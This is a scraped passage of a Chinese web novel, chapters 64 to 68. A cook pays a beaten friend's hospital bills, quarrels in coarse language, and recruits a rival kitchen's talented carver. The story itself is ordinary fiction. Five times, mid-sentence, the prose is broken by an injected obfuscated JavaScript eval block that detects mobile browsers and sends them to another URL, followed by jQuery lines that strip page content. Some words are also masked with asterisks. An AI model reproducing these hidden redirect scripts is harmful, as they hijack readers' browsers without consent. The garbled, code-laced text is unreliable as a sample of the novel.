黎军讪笑:“嘿嘿……屈家人的住院费可都是我交的,三千块呢,而且这钱肯定不够,他们打了人,医药费肯定得出吧,赔偿也不能少了对吧?”
乔峰超点头:“这个还要看他家的经济状况,实在拿不出钱来,就只能自己认了。”
“啊……不能够吧!”
黎军心疼地抽搐,觉得自己都要**了。
第64章 丢卒保车
这时拉着华家人的面包车开过来,华东民看见黎军后突然想起了什么似的瞪大眼珠子。
“你是老三家那个……姓黎的女婿,是不是你报的**,你个杂种,我们华家跟你有什么仇,你这么害我们?”
黎军看了看乔峰超,一脸无辜,然后瞪向对面车里的华东民。
“你个老怂吃屎长大的吗,一张嘴就喷粪,你们差点把人家打死,**不该抓你们吗?
癞**上脚面,膈应人的玩意,也不看看你都生了些什东西,纯纯五个棒槌,当初咋不滋墙上去呢!”
华东民气炸了,脸皮子不受控制哆嗦。
“你……你个小杂种。”
“你才是杂种,你全家都是杂种,祖宗十八代都是杂种,看看你一家子都是什么玩意,腚眼子直通嘴巴,张嘴就放屁,嗑瓜子磕出你这么个臭虫,恶心人的老逼登子……”
黎军气炸了,逮着老头顺着族谱往上怼,被人一口一个杂种的骂,要不是老头被烤在车里,他都要上去给两个大逼兜子了。
开车的**赶紧一脚油门开走了,他怕老头被黎军气死,这嘴巴跟淬毒了似的。
乔峰超忍不住哈哈大笑,眼泪花子都流下来了。
“哈哈哈……你这张嘴啊,对了,你跟屈家人什么关系?”
乔峰超问闲话。
“屈战在帮我做事。”
“做啥事,你不是二食堂的厨子长吗?”
黎军瞪着他:“你这啥眼神,厨子咋了,看不起厨子吗?”
乔峰超尴尬:“我不是这意思,怕你搞帮派啥的违法乱纪。”
“我的老哥哥,我是老兵,是党员,有原则的,唉不是,你们**是不是逮谁都这么怀疑,这世界就不能有好人了?”
“反正你看着不像啥好人,一肚子哈哈心思,就侯正东那事,敢说你没动坏心思,那个侯胜利最后都再说自己只是想打你一顿出气的。”
黎军想了想自己的所作所为,似乎真有那么点不光彩呢!
坚决不能承认,会毁了光辉人设的好吧!
“你可别血口喷人了,我就是个受害者,纯纯的受害者,你看我这脑袋,这么长一道疤痕。”
黎军说着,把自己脑袋往乔峰超眼前凑。
再次来到医院,就听到屈母呜呜的哭声,黎军意识到不妙,赶紧跑过去问。
正好主治医生过来找人,黎军就问了情况。
屈战跟他哥没啥大事,接上骨头养着就行了,但是屈父问题有些严重。
颅内出血六七十毫升,加上就医时间较晚,引起了小范围脑疝,就是治好了,后期也会半身不遂。
屈家的天直接塌了,屈战和大哥还没结婚,下边还有个妹妹正在上学。
此刻屈战和他哥正在手术室,屈父需要做开颅手术,屈母吓得六神无主死活不签字。
主治医生问:“屈文华需要赶紧手术,你们劝劝家属,不签字我们也没法手术啊!”
去学校请假的屈玲正好回来:“我是患者女儿,上高一了,可不可以签字?”
“可以可以,赶紧签吧,再也不敢耽搁了!”
不可以也不行,屈家现在清醒的就屈玲一个人。
签了字,屈父才被送进手术室。
黎军跟黎强、李春材等人交代了一下,留下两百块钱,让他们轮流照看,自己就回饭店了。
上午十一点半,正是后厨上人的时候,黎军回来刚好跟上忙碌。
刘小福也不会计较他偶尔迟到一次。
“大军,忙活啥呢?”
史建军见他上了炉子问道。
黎军大概说了下屈家的事情,几个站炉子的都围过来八卦。
后来的两个厨子现在也能出一些简单的家常菜了,黎军对他们的指导很上心,几乎是手把手教的。
以后这些人都是他的班底,他们能够熟练上手了,自己也就能够偷点闲了,他现在可是连休假都没有。
中午忙完后,黎军装了几个早上剩的包子,就准备往医院去了。
“黎哥,你干嘛去?”
李莉莎在门口问道。
“去医院,咋了?”
语气不耐烦。
“马上要吃饭了,关心一下你咋了,说话跟椽子戳一样,讨厌**。”
黎军撇嘴:“我这人说话就这样,你要觉得不中听就别搭理我好了。”
“你……”
李莉莎摆出一副受委屈模样,眼眶里居然有水雾升腾。
“别跟我整这白莲花模样,咱俩又没啥关系。”
“啥……白莲花,你说话怎么奇奇怪怪的。”
李莉莎没听懂白莲花啥意思。
黎军嘴角抽了抽,那时候没有白莲花这个网络词。
“小李同志,如果我哪里做得足够好,吸引到你的目光了,你提出来,我改一下,咱俩真的不合适,以后请保留点边界感行吗?”
李莉莎那个气,都想挠他两下了,这拒绝得一个干脆。
“军哥,我哪里做得
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067834|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不好,你提出来我改行吗,我是真的……真的喜欢你?”
旁边的赵麦香实在忍不住笑喷:两个活宝,在这自我检讨呢,不过黎军这话风怎么听着这么欠揍呢!
“赵麦香,你们回去吃饭吧,下午包席的菜应该会送到,给后厨说一声,先整会整的,不会的别瞎弄,我有事出去一下,赶下午上班时回来。”
刘小福所说的包席就在明天,有些东西需要提前准备出来,尤其是海产品的干货,这玩意涨发很关键。
医院里,屈战跟他哥手术已经做完,都在病房里躺着,黎强和牛志强在陪着他们。
屈父的手术已经接近尾声,屈玲跟母亲坐在手术外,双眼无神地看着手术中的灯箱。
“姨,屈玲,你们吃了吗?”
黎军轻声问道。
屈母摇头。
屈玲红着眼睛:“黎军哥,我们都没啥胃口,谢谢你了,住院费我们会想办法还给你的。”
“别放在心上,把你爸和两个哥哥伺候好,有什么困难尽管开口。”
“谢谢哥,你是个好人,是我们家的大恩人。”
屈玲的话让黎军老脸一红:“啥恩不恩人的,屈战跟对我脾气,帮朋友就是帮自己,屈战最近在帮我做事,他出事我没理由干看着。”
这时乔峰超带着两个**过来,看了看手术室外的屈家母女叹了口气。
“黎军,华家人已经审完了,姬金巧、华东民、华信和华义虽然参与了,但是都没动手,批评教育一下,让回去筹钱了,毕竟这么多医药费还没着落呢!”
人说相由心生,华家人个个凶神恶煞,没一点法律意识,局子里还嚣张得不行。
**们可不会惯着他们,连唬带吓加政策攻心,几个小时就攻破了他们的心理防线。
其实这事情很容易拿捏,兄弟五个都进去,这个家也就彻底完了。
华家兄弟莽撞不假,也不是蠢的不可救药,在全军覆没和丢卒保车之间做出了正确选择。
最终老大华仁、老三华礼以及老四华智扛下了所有罪行,华义、华信和老两口被教育一番,拘留两个礼拜处以罚金释放。
华家人保下华义华信有自己的考量,老二老五脑子好,是留在外边的最佳人选,毕竟日子还得继续过,后续事情也需要人运作。
接下来就是取得受害者的谅解,拿到谅解书是华家人最最重要的事情,因为**说了,没有谅解书,华家哥仨会被重判。
第65章 委屈郑文杰(上)
乔峰超说完后,黎军点头。法外有情其实也是同情弱者,屈家爷仨都被打成重伤了,老爷子以后还要面临半瘫的命运。
“接下来应该是赔偿和写谅解书了吧?”
“嗯,即便是要被判刑,谅解书也很有必要,那是法官量刑的重要环节。
我们跟华家人讲清楚了,拿出足够的诚意,获得受害者的谅解,对他们的量刑轻重影响极大,所以他们应该会不遗余力想办法的。”
黎军想了想,突然笑道:“华家人还拍我那几下,估计是没机会索赔了吧?”
乔峰超撇撇嘴,拍了拍黎军的肩膀:“你做个人吧,人家都要把牢底坐穿了,你还要打秋风。
去看看病人吧,好好地劝劝他们,打击报复的事情就别想了,好好地过日子,华家人自有法律替他们毒打。”
病房里,屈战他哥屈禄看见黎军等人,眼眶顿时红了。
“谢谢你们了,我兄弟这朋友没白交。”
“屈禄哥,别这么说,都是兄弟,这时候不用啥时候用。”
黎军笑着客气,屈禄二十五六岁,比他还大点,只是家里困难,还没有说上媳妇。
“军哥,谢谢你,住院费我会想办法,尽快还给你的。”
屈战知道住院费是黎军垫的,心里的感激之情难以言表。
任何时代,钱都是考验人情冷暖的最佳利器,一场灾难,借钱足以让你认清所有面具后的真容。
“跟哥哥就别客气了,踏踏实实养伤,乔队已经让华家老头和母老虎回去筹钱了,医药费无需咱们出。”
屈战明显松了口气,他问过护士,他家三个重伤号,出院起码五千起步,这么大一笔巨款,他家绝对拿不出来。
“军哥……”
屈战还想感谢,黎军却抬手打断。
“对了,你们跟华东民连墙住着,他家有钱没?”
这点至关重要,树上没枣你杆子打断也没用。
“华家在我们村是有钱人,他家劳力多,土地没下户就在河滩偷摸开荒,这几年有了地,光景过得远比其他人好。”
屈禄为人老实本分,对村里人的情况很熟悉。
他的话让黎军有了些底,万一他们家没钱,自己垫出去的钱就不知道什么时候才能还回来了。
“有钱就别担心了,踏实养伤,等伤养好了,好好做事,以后就靠你们哥俩了。”
屈战出这事,黎军仗义出手帮忙,也是有私心的。
屈战在这个小圈子跟其他人关系很铁,通过这个事可以让这些人产生向心力,从心底佩服自己,以后帮自己做事就会死心塌地。
对一个不太熟的兄弟都掏心掏肺,不仅搭人还搭钱,农村孩子质朴,恨不能打板给黎军供起来,早晚一炷香那种。
接下来的调解自有**解决,不需要屈家去面对华家。
黎军给李春材留下一千块钱,让他后期住院费不够再交,另外他和牛志强留下照顾,饭钱也从这里边出。
李春材和牛志强感动的语气颤抖:“军哥,你这么放心我们兄弟吗……我们在村里,名声可都不咋的呢?”
黎军拍了拍他俩肩膀:“都是兄弟,我又不是白出钱,等屈战的医药费赔偿了,他可是要还给我的,谁的钱也不是大风刮来的。”
说这话黎军有点心虚,后来侯正东给的两万块,可不就是大风刮来的吗?
不过后来知道侯正东买**他,那点心理负担直接蒸发。
“话是这么说,可是这么多救命钱,屈家人不会忘记的,军哥有心了,兄弟们信你没错。”
看看,这人心不就笼络到了吗。
黎军心满意足回二食堂,今晚可有的忙了,政府给老**家和劳模的年会终于要改一下就餐地点了。
同一时间,一食堂后厨,郑文杰正在精心雕刻一朵大丽花。
手里的刻刀还是黎军送的,之前黎军在这帮厨了几天,指点了他一些雕刻手法,还把自己的一套刻刀送给了他。
通过高手的指点,郑文杰进步极大,加上他自己有心钻研这个,进步就变成了必然。
黎军了解左**,这家伙没有容人之量,忌能妒贤,见不得手下人比自己优秀,生怕谁把自己的地位给动摇了。
起初郑文杰雕
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067835|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刻得惨不忍睹时,他并没有在意,全当是看个乐子。
后来发现这家伙雕刻进步很快,尤其是花鸟虫鱼之类小件,大有追上黎军的架势,于是心里又不美丽了。
其实黎军第一次被借调过来,就在打郑文杰的主意。
结合左**的性格,就让郑文杰拿后厨的食材练手,拿别人的食材给自己培训人才,这买卖简直不要太爽,也想当是给左**下了一剂慢药。
“赶紧干正事去,成天雕刻一些哗众取宠的玩意,公家的食材不要钱吗?”
左**今天心情极其不美丽,一大早经理通知他,官方的包席取消了,人家改了二食堂就餐,单方面把他们给甩了。
几年来的惯例突然改了,左**心里那叫一个气。
自从二食堂来了个黎军,他就诸事不顺,领导们现在招待,也不一定在一食堂安排了。
尤其是有一次他还听到下边人说,他就是山里的那只猴子,这么多年在饮食公司一手遮天,完全是因为老虎不在,才让他得了便宜。
今天一进后厨,又看到郑文杰在那里雕刻什么狗屁萝卜花,一口气正好发在他身上。
突如其来的怒吼吓了郑文杰一跳,戳刀直接怼在指尖上,鲜血顿时就流了出来。
“左厨,你突然大喊什么玩意,我的手都被扎破了。”
“这个月奖金扣发二十,公家的食材被你浪费了多少。”
这处罚不可谓不重,二分钱一斤大萝卜,二十块能买一千斤,关键是这没来由对人家发火就忍不了,泥人还有三分火气呢!
“凭啥,就凭你红口白牙,上下嘴唇子一碰吗?”
郑文杰也火气上来了,一群年轻小伙子都在边上等着吃瓜呢,这口气绝对不能忍了。
被顶了肺管子,左**高血压蹭蹭往上冒。
“咋了,就凭我是行政总厨,还说不得你吗?”
“你行政总厨能歘拔,有啥气往明面上使,成天一副笑面虎模样,就知道耍阴招,臭袜子做口罩的玩意,看见你就恶心。”
忙碌的后厨里,顿时一片宁静,颇有些落针可闻。
第66章 委屈郑文杰(下)
“哎哎哎,不至于不至于,文杰,赶紧给左师傅道个歉,成天在一个锅里搅勺,领导说你几句,咋还上头了?”
王家福赶紧过来打圆场,郑文杰是他名义上的徒弟,这么整以后就没法子在这国营饭店干了,因为他可不是正式工,左**一句话就能把他裁了。
“道歉,不服从管理,这已经不是简单的道歉能够解决的了。”
左**被气的要**,郑文杰这已经不是不服从管理,都开始张嘴花花,上升到侮辱人格了。
“你算个锤子**,老子又没错,还不惜的给你道歉呢,看你能把我咋样?”
郑文杰彻底爆发了,自己的雕刻虽说才入门,也不是全无用处,有些差不多的都会用在菜肴装饰上,也算不得白白浪费材料,左**这明显是有气没地方撒,拿自己坐蜡呢!
“你……你还敢骂人,不想干了吗?”
左**气得直突突,说话都要劈叉了。
“这破鸡扒工作,一个月六十块,还得孝敬你**十块,以后,老子都不伺候了,谁爱干谁干。”
郑文杰说着一把扯下围裙,揉成一团直接甩在地上。
后厨又一片寂静,这大瓜甩的。
众人面面相觑,尤其是后来的几个新人,相互环视一圈,都是一副原来如此的表情。
“你……血口喷人,那是你自愿给我的,我可没伸手跟你要。”
这话就脑残了,只要接了,事情就算是坐实了,谁管你伸手没伸手。
左**也是被气糊涂了才说出来这话。
“十块钱,拿回去给你一家子买药吃吧,此处不留爷自有留爷处,老子走了!”
郑文洁大踏步出了后厨,白大褂也被脱下来扔在吧台上。
王家福追了两步也放弃了,他跟总厨吵成这样,自然是没办法善了,只能由着他去了。
左**的马脸黑了又黑,被郑文杰一顿扒,老脸都丢尽了,关键是他向新人伸手要好处的行为太龌龊了,以后都没脸了好吧!
郑文杰出了一食堂,心中的怒气逐渐消散。
他舅家跟左**是一个村的,有他舅牵线搭桥,才进了国营饭店当学徒。
这年头的工作可不好找,农村人农闲时,大多去了工地搬砖,而且搬砖的活也不是经常有的。毕竟县城就是弹丸之地,一嗓子下去,能穿透整个县城。
蹲在路边抽了根烟冷静了一会,这才想起黎军的话,让他以后有事了,尽管去找他。
其实这倒霉孩子,做梦也没想到,自己弄到这步田地,完全是被某人给一步步算计了。
黎军知道他后来的发展,那是真的喜欢食材雕刻,也有天花板级别的天赋,加上左**没有容人之量,看着他任意挥霍饭店的食材为自己提升技能,爆发矛盾是迟早的事情。
郑文杰想得很简单,黎军是二食堂的厨师长,安排他进食堂问题不大,能跟着他学习厨艺,挣钱多少都是次要的。
黎军返回之后,后厨正在从刘小福的侉子摩托往下卸货。
临县属于内地小县城,不可能有啥高档食材,黎军下单的食材,都需要从安市买回来。
史建军拿着一大块三角形的东西望天:“啧啧啧,这就是大军所说的鱼翅啊,经理说多钱买的?”
“四十五块,泥马的这是人吃的吗,赶上一个月工资了。”
余家良咋舌。
黎军现在看见余家良就有些古怪,开枪打他的丁玄搭档就叫余粮,两人的名字有些相近。
“余家良,以后叫你小余吧,鸡扒跟开枪案子那个货太接近了,我心里有阴影。”
黎军一边打量海鲜干货一边打趣。
余家良觉得有点躺枪,跟他有个**关系。
“下午你们几个负责出菜,我来准备涨发干货。”
其他人自然没啥意见,经过黎军的一个月指点,史建军余家良等人手艺进步很大,新来的两个人炒家常菜也没啥问题。
这时刘小福从后座解下一个蛇皮袋子。
“你看看熊掌怎么样,这玩意没见过也没买过,不知道质量咋样。”
野生动物保**颁发是在八八年,这时候熊掌是可以上桌的,属于山八珍之一。
黎军拿起一只看了看,又放在鼻头下闻了闻。
“凑合事吧,没啥好不好,据说左前掌最好,不过没人能吃得出来。
这玩意其实就是一块完整的筋腱组织,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17073963|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还伴有极强的腥膻异味,吃它就是个噱头。”
史建军等人接过去挨个浏览,头一次见这东西,都稀奇的不行。
“都是**咋弄呢,用黄香锅子拔**吗?”
黄香也叫松香,以前卤肉经常会用到,将松香融化后裹在需要去除毛发的原材料上,冷却后敲开,就可以连同毛发一起拔下来。
后世食品卫生法出台后,这玩意就不允许再使用了。
“不用,直接扔进炉火中焚烧,连同外皮一起烧焦即可。”
这时两个新来的师傅也围过来打量。都嚷嚷着要跟黎军好好地学学。
黎军也不藏私,干货涨发在后世有专门的人挣这份钱,不需要厨子自己去弄,太耽搁时间。
涨发干货动辄就需要十几个小时甚至更久,光是吊高烫,一趟就需要五六个小时。
再说了,等野生动物保**颁发以后,熊掌就不再是餐桌上的噱头了,要吃它就得有把缝纫机踩冒烟的思想准备。
下午上班后,黎军开始准备食材,涨发原材料的高汤需要提前熬制。
老母鸡、肘子、火腿骨、老鸭、棒子骨等等,焯水后上大锅开煮。
这时李莉莎进来,看着炉子上给熊掌烧毛的黎军问道。
“军哥,这是啥东西,这么多黑****,能吃吗?”
黎军嫌弃地看了她一眼,没好气道:“不能吃留着过年吗,没事别来后厨瞎转悠,碍事。”
李莉莎气抖冷:“你讨厌,说话跟吃了枪药一样,人家是来告诉你,外边有人找你。”
说完跺着小脚气鼓鼓地走了,仿佛受气的小公主。
“军哥,这是啥东西,这么多黑****,能吃吗……?”
余家良在她走后,突然嗲里嗲气地学了一遍,引得炉子上的四个人哄然大笑。
黎军撇了撇嘴:“嗯,不错,学得惟妙惟肖,晚上收尾你负责打扫整个厨房卫生。”
余家良赶紧谄媚地掏出香烟:“唉吆喂,我的亲哥,您抽根烟歇会,我来替你弄黑****。”
又一阵哄堂大笑。
放下火钳子,黎军纳闷的走出后厨,谁找自己,最近一段时间,来找他的都没啥好事。
第67章 有便宜不占王八蛋
“注意看着,**烧焦了就起出来,别把肉烧糊了,一个五六十块,烧过头了你赔不起。”
出后厨门的时候,黎军特意回头又叮嘱了一下。
二食堂大门外。
“郑文杰,你怎么来了,今天休假吗?”
出门一看是郑文杰,黎军心里大喜。
根据他的估计,顶多一个月,左**就会忍不住郑文杰祸祸后厨的食材,加上官方的包席改订了二食堂,这矛盾不爆发才怪。
郑文杰先掏兜,摸出刚买的大前门拆开,讪笑着递给黎军一根。
“哪个……黎师傅,我……下课了,跟左**吵了一架,骂了那**一顿,就把锅摔了。”
把锅摔了是后厨的行话,炒了上司鱿鱼的意思。
黎军明知故问:“因为啥呀,骂人可不对,都是成年人,嘴里花花可别带上老娘或者祖宗。”
郑文杰想着求人,也不隐瞒,将事情的始末说了一遍,当然了,刻意抹黑左**自然少不了。
说完用乞求的眼光看着黎军:“黎师傅,你不是说我有事可以来找你吗,我跟总厨吵架,一食堂指定回不去了。”
黎军笑笑:“那是客套话,你还当真了,我来二食堂才一个多月,这也不是我们家的啊!”
郑文杰嘴角抽搐,心里无语:好嘛,有道是不作死就不会死,你倒客套得好,我要不是心里有你的话托底,敢那么放肆怼人吗?
“哦……那算了,黎师傅再见了!”
看郑文杰一副期期艾艾的样子,黎军心满意足,这家伙敢骂顶头上司,不磋磨一下锐气还不得反了天去。
郑文杰此刻悔得肠子都青了,这年头稳定工作可不好找,他们家的日子这两年都因为他有固定工作有了翻天覆地的变化。
等他走出去七八步,黎军突然开口道:“文杰,你等下,我去问经理试试,跟他说下你的情况,我现在二食堂还算有点面子,不过不会比一食堂高这点是肯定的。”
郑文杰大喜过望,这心情跟过山车一样,太考验心脏耐受力了。
他没想过跳槽二食堂工资能涨,只要能平替就不错了。
“黎师傅,我对工资要求不高,只要能跟着你学技术,我就心满意足了。”
黎军很满意郑文杰的说辞,那时候的师徒关系特别亲近,尤其是这种知遇之恩。
“放心吧,只要经理答应把你留下来,至少加一级工资,而且现在二食堂业绩不错,奖金也少不了,你等着,我这就去跟经理说一下,正好明天有包席,人手紧张是个借口。”
刘小福听说要经理点头,有些皱眉,若是从外边进一个临时工没有什么,但他是这是一食堂的工人,还跟总厨吵了架,留下他就等于跟左**结了怨。
“放心吧,郑文杰手艺不错,人也麻利好学,他的雕刻很有天赋,以后我们的包席多了,他的雕刻手艺就有大用处了。”
本着有便宜不占王八蛋的想法,黎军不遗余力劝说刘小福,郑文杰他必须留下,现在借着集体摊子,给自己培养一个人才,绝对是个大便宜。
说到包席,刘小福像是下了大决心:“那就让他留下,一个左**得罪就得罪了,我看现在徐总也不怎么待见他了。”
说通刘小福后,黎军出门给郑文杰招了招手,让他进来。
“咱们经理,你也认识,正好今晚我要忙着准备些东西,你给我搭把手。”
黎军说罢,郑文杰赶紧给刘小福上烟。
“没事,既然来了就好好干,让黎师傅带带你,早点把住头子,也不枉他替你说一火车皮好话。”
把住头子是行话做台柱子的意思,郑文杰用力点头,能够跟着黎军学技能,想想都觉得前途光明。
上一次黎军在一食堂的食材雕刻,可把他羡慕坏了。
“嗯嗯……刘经理放心,我一定会好好做事的,其实我在一食堂也很踏实,那个左**不知道哪根筋搭错了,今天看见我就训孙子一样。”
郑文杰这话倒是真的,那年头农村孩子学门手艺不容易,他也很珍惜,只是没想到自己想在喜爱的领域里深耕一下,居然被针对了。
“跟我走吧,今晚有的忙呢,对了,你现在小件雕刻得咋样了。”
“多谢师父,有了你的指点之后,我学会了很多东西,月季、凌霄花、马蹄莲……金蝉、知了、孔雀……绶带鸟等单一的小件都能弄,就是还不够细致,主要是有些东西我没见过成品。”
黎军不禁暗自赞叹,这家伙的确天赋过人,这才不到一个月,居然进步这么大。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17073964|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
br>而他嘴里的师父没有带姓,黎军也没有拒绝,则是默许这层师徒关系。
戳锅底的厨子,这种关系并没有什么真正的拜师仪式,就是嘴头称呼,然后日久生情,逢年过节孝敬点香烟酒水啥的,师徒关系也就确定了。
同一时间,一食堂办公室里,徐良拿着一张纸正在打量。
“好家伙,这一桌妥妥的要上三五百了,下手是真的黑啊!”
嘴里嘀咕着起身,往楼下大厅而去。
左**坐在吧台的椅子上生闷气,郑文杰刚才可把他气得血压飙升一大截。
“哎吆……徐总,您没回去啊?”
正想办法要不要扣发郑文杰工资呢,就看见徐良背着手走过来,并递给他一张纸。
“看看这菜单,你会弄吗?”
左**接过来一看,尴尬的脚指头能抠出三室一厅来,菜单上连汤羹二十道菜品,他一大半都没见过。
通天鱼翅,溏心鲍鱼、红烧熊掌……清汤燕菜他听都没听过,更别说做了。
“徐总,这是哪里的菜单?”
徐良点了根烟:“那群官老爷和老**明天吃的就是这个。”
左**下巴都要掉了:“二食堂明天的包席菜单?”
“嗯,现在知道老爷们为啥不在一食堂吃了吗,你成天就是老汉推车那一套,除了鸡肉就是鱼,不是猪肉就是牛的,也不知道换个花样,你爱吃燃面,天天给你吃看你厌不厌。”
左**被说得脸黑。
有道是夏虫不可语冰,没去过外边的大世界,上哪去长这些见识去。
其实他的手艺在临县算是首屈一指的,要不然也不会霸着饮食公司行政总厨的位置。
“那个……徐总,回头我翻翻菜谱,找点新品菜试试?”
左**心虚。
徐良长长地吹出一口烟雾:“你呀,那菜谱怕是都要翻烂了吧,来来**还不是那一套,都没想过要买一本新的菜谱提升吗?
改革都开放了,大清早亡了,还守着陈谷子烂芝麻那一套,迟早被淘汰。”
一点面子没留,左**冷汗都要下来了。
“徐总,现在没啥人,我去二食堂观摩一下,启发一下思路?”
徐良背着手往外走:“一起去吧,我也看看稀奇去。”
第68章 主场优势
晚上七点多,二食堂后厨一片忙碌,所有人各司其职。
现在上人高峰期,每个人都得铆足了劲,才能完成自己的分内之事。
李莉莎虽然对底下人有些刻薄,但是干活却是一把好手,招呼客人、点餐、端茶倒水也挑不出啥毛病。
此刻在大厅里,她自己也是一个人当成几个人用,脚下跟踩了风火轮一样忙碌。
传菜间里,轮到刘曼和伍一凡在这里当班,每到上客高峰期,这里就忙得跟陀螺一样,两个人来回不停穿梭,才能把后厨的成品转运到前厅。
“一凡,上次你说回去见面(相亲),后来也不见你说成了没有。”
刘曼脚不沾地还不忘八卦一下同事的亲事。
提起这茬,伍一凡就觉得挺憋屈,她身材高挑,相貌不俗,介绍的对象自身条件却忒挫了点。
于是没好气道:“别提了,我二姑丈那眼睛像是糊了鸡屎,介绍那男孩子一麻袋高,两麻袋粗,身高还没有我高呢!说起来就来气。”
刘曼哈哈大笑:“哎吆,得多胖才能符合你说的一麻袋高两麻袋粗,你姑丈能给你介绍,肯定还有其他原因,否则断不能给你介绍。”
“他家承包了几个砖瓦窑,听说挺有钱的,家里还有辆小汽车。”
“你还年轻,不着急,好好的挑挑,女人这辈子,嫁人就等于重生,别看走眼了。
钱虽说是个好东西,但是一个合适的枕边人却是一辈子的事情。”
刘曼是过来人,对于婚姻有自己的一套见解。
“我妈催得紧,说我下边还有弟弟妹妹呢,太晚了就把他们给挡住了。”
农村有句老话,小麦熟不过大麦,意思是老大没交代,下边的弟弟妹妹就得等着。
“你觉得厨师长咋样,高大威猛,看着就孔武有力,婚后上炕……嗯不是,婚后那小日子……啧啧。”
刘曼很有深意地看了看伍一凡,差点把车开到沟里去。
这傻妞根本不知道啥意思,眨巴着大眼睛有神的盯着她。
“关键是人有本事,他现在的工资可是比经理还多呢,虽说比你大几岁,但是男**几岁知道疼人,你要是抹不开,姐姐去跟你挑破这层窗户纸,我看他对你也挺上心的!”
刘曼说话间,两个人都往后厨里看了一眼。
此时黎军正在教史建军等人处理干货,不得不说,专心做事的男人就是有魅力。
“曼姐,你可千万别这么说,我但凡跟厨师长多说几句话,李莉莎就恨不得吃了我,你没注意吗,我现在都快被焊死在传菜间了。”
刘曼想了想,觉得还真是,当下就气得突突了。
“这个癞**上称盘的货,不知道自己几斤几两,不就是上头有人吗?
你这瓜女子也是,找男人这种事岂能惯着她,看上合适自己的,直接撸袖子上就完了。
像厨师长那样的男人可不好找,他做事专注,条理清晰,对待同事一视同仁,对领导不卑不亢,也不会刻意向上巴结……说明他是个有真本事的。”
刘曼也不待见李莉莎的处事方式,就想促成黎军和伍一凡,好好的恶心一下她,所以在这把黎军夸得像一朵花一样,就差流口水自己撸袖子上了。
伍一凡也觉得黎军很不错,是个理想中的男人,就是每次黎军靠近自己,都会遭来李莉莎的各种针对,让她有点发怵,毕竟人家现在是她的顶头上司。
见伍一凡时不时往后厨里打量,刘曼心中就有了底。
“其实李莉莎各种挤兑你,就是怕你跟厨师长走得近,成就了好事,就彻底没她什么事了。
你也别磨叽,再耽搁小心真的被人抢了去,我最近也算是看明白了,厨师长对她根本没那个意思,却总在有意无意跟你套近乎。
你大胆一点,李莉莎再敢针对你,直接给她怼回去,抢男人这事,才不要惯着她。”
忙着做事的黎军根本没想到,传菜间里有人正在议论他,想着怎么把他给拿下呢!
“徐总来了,左师傅好!”
史建军在头火靠近门的地方,徐良一进门就看到了,于是赶紧打招呼。
“呵呵,我没事,随便看看,忙你的吧!”
徐良说完就往材料间走去,黎军正在里边给熊掌泡水。
“这就是熊掌啊?”
“哎吆妈呀……徐总,你走路没声音的吗,吓我一跳。”
“哈哈哈……想什么呢,这么专心?”
徐良哈哈大笑。
黎军没回答,看向他的身后,左**正在水盆里打量鱼翅。
鱼翅涨发需要冷水浸泡至回软,剪去边翼,刮去沙粒,然后才会进入焖发环节,前后需要十几个小时才行。
“汗手别乱摸啊,串味了你赔不起,贵着呢!”
左**心
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078670|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里那个气,左右看了看,好在材料间是个相对独立的空间,里边除了他们几个就没有别人了,否则这脸面着实挂不住。
“黎军,我跟你有仇吗,总是这么阴阳怪气的,破鱼翅说的好像我没见过似的。”
